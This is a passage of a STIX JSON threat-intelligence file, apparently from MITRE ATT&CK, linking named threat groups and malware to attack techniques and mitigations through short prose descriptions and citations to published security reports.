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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) encrypts the collected files using 3-DES.(Citation: Unit 42 VERMIN Jan 2018)",
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            ],
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                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) uses a Port 22 malware variant to modify several Registry keys.(Citation: Unit 42 C0d0so0 Jan 2016)",
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            ],
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            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "type": "relationship",
            "modified": "2020-03-09T13:51:07.176Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--62c5050d-983c-44f7-ba23-f2820398eb67",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used regsvr32.exe to execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.825Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0188b7af-d060-4715-baf2-ad69333482dc",
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            "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim drive information.(Citation: Proofpoint Leviathan Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.149Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7",
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            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using the Registry option in PowerShell Empire to add a Run key.(Citation: FireEye FIN10 June 2017)(Citation: Github PowerShell Empire)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                },
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-04-09T14:46:58.824Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[Pupy](https://attack.mitre.org/software/S0192) can communicate over HTTP for C2.(Citation: GitHub Pupy)",
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            ],
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                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:17:57.763Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
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                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.304Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
            "id": "relationship--c2888af5-ccdd-43f1-947c-1abd69272ec2",
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            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can capture screenshots of the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.675Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the <code>whoami</code> and <code>query user</code> commands.(Citation: RATANKBA)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.713Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f72d9605-eea6-4ed4-8502-231d4c21431f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) injects DLL files into iexplore.exe.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                },
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:46:00.968Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new schedule task on the remote system(Citation: Symantec Buckeye)",
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            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:40:03.704Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a33388b7-3803-442f-8e31-511eef055470",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
            "relationship_type": "uses",
            "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
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                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "source_name": "FireEye APT17"
                }
            ],
            "description": "(Citation: FireEye APT17)",
            "type": "relationship",
            "modified": "2019-03-22T14:21:19.572Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--c8253944-3a69-42e6-b36a-1c3defbb088e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "description": "(Citation: Cylance Dust Storm)",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.761Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--78e8d9e6-48b7-473f-af94-43f626de7931",
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            "description": "An [APT28](https://attack.mitre.org/groups/G0007) backdoor may collect the entire contents of an inserted USB device.(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2019-12-20T14:26:01.181Z",
            "created": "2017-05-31T21:33:27.040Z"
        },
        {
            "id": "relationship--35f02c40-d46f-44fa-8ba2-5106357494b4",
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            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) encrypts C2 data with RC4 encryption.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: CISA AppleJeus Feb 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "source_name": "US-CERT FALLCHILL Nov 2017"
                },
                {
                    "source_name": "CISA AppleJeus Feb 2021",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2021-03-02T16:59:27.322Z",
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        },
        {
            "id": "relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02",
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            "source_ref": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "type": "relationship",
            "modified": "2020-02-21T21:11:07.137Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "type": "relationship",
            "modified": "2020-03-25T20:32:05.975Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--9b43f780-6a8b-477f-826f-c45e867749c9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) has cleared event logs from victims.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:37:13.292Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--be61c04d-178f-4366-b778-ee77f0485d13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used a variant of [ShiftyBug](https://attack.mitre.org/software/S0294) that communicates with its C2 server over port 6666.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.738Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) lists all running processes.(Citation: Kaspersky Poseidon Group)",
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            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-18T15:34:54.810Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e",
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            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "external_references": [
                {
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "source_name": "Cylance Shell Crew Feb 2017"
                }
            ],
            "description": "(Citation: Cylance Shell Crew Feb 2017)",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.825Z",
            "created": "2017-05-31T21:33:27.044Z"
        },
        {
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            "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.783Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
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            "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd",
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            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to download a file.(Citation: Volexity PowerDuke November 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.359Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2019-10-15T18:00:19.429Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Respond Webinar July 2017",
                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
                },
                {
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "source_name": "DarkReading FireEye FIN5 Oct 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.779Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1262d88d-0eb1-4d19-b84a-9793ef3e4d03",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "source_name": "CSM Elderwood Sept 2012"
                }
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.676Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, [Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)(Citation: US-CERT SHARPKNOT June 2018). During a 2019 intrusion, [Lazarus Group](https://attack.mitre.org/groups/G0032) disabled Windows Defender and Credential Guard as some of their first actions on host.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
            "object_marking_refs": [
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            ],
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.",
                    "source_name": "Novetta Blockbuster Tools"
                },
                {
                    "source_name": "US-CERT SHARPKNOT June 2018",
                    "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-09-22T18:22:30.521Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
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            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) listed remote shared drives that were accessible from a victim.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-03-25T16:57:02.831Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--45966f4c-51d4-4940-854d-79d712f63ed5",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "external_references": [
                {
